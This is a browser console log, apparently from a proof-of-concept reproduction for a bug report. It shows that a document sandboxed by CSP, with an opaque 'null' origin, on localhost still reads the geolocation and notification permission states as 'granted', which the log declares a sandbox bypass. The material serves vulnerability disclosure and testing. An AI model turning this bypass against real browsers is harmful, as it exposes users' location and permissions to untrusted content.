==========================================================================
CLEAN BUILD (no patch applied) — Behavioral reproduction
==========================================================================

--- Control page (http://localhost:8080/) ---
[1629:1629:0403/143022.189814:INFO:CONSOLE:13] "[POC-PAGE] document.location.href = http://localhost:8080/", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.190043:INFO:CONSOLE:13] "[POC-PAGE] window.origin          = "http://localhost:8080"", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.190203:INFO:CONSOLE:13] "[POC-PAGE] self.isSecureContext   = true", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.190313:INFO:CONSOLE:13] "[POC-PAGE] ---", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.289842:INFO:CONSOLE:13] "[POC-PAGE] navigator.permissions.query({name:"geolocation"}).state = "granted"", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.295734:INFO:CONSOLE:13] "[POC-PAGE] navigator.permissions.query({name:"notifications"}).state = "granted"", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.295969:INFO:CONSOLE:13] "[POC-PAGE] ---", source: http://localhost:8080/ (13)
[1629:1629:0403/143022.296115:INFO:CONSOLE:13] "[POC-PAGE] Control page (not sandboxed). Permission state: granted. Now navigate to /sandboxed to see the bypass.", source: http://localhost:8080/ (13)

--- Sandboxed page (http://localhost:8080/sandboxed, CSP: sandbox allow-scripts) ---
[1879:1879:0403/143044.174406:INFO:CONSOLE:13] "[POC-PAGE] document.location.href = http://localhost:8080/sandboxed", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.174628:INFO:CONSOLE:13] "[POC-PAGE] window.origin          = "null"", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.174770:INFO:CONSOLE:13] "[POC-PAGE] self.isSecureContext   = true", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.174909:INFO:CONSOLE:13] "[POC-PAGE] ---", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.259876:INFO:CONSOLE:13] "[POC-PAGE] navigator.permissions.query({name:"geolocation"}).state = "granted"", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.262597:INFO:CONSOLE:13] "[POC-PAGE] navigator.permissions.query({name:"notifications"}).state = "granted"", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.262715:INFO:CONSOLE:13] "[POC-PAGE] ---", source: http://localhost:8080/sandboxed (13)
[1879:1879:0403/143044.262822:INFO:CONSOLE:13] "[POC-PAGE] *** BUG CONFIRMED ***  origin is "null" (opaque) but geolocation permission state is "granted". The CSP sandbox boundary has been bypassed: this opaque-origin document is reusing the permission grant for localhost:8080.", source: http://localhost:8080/sandboxed (13)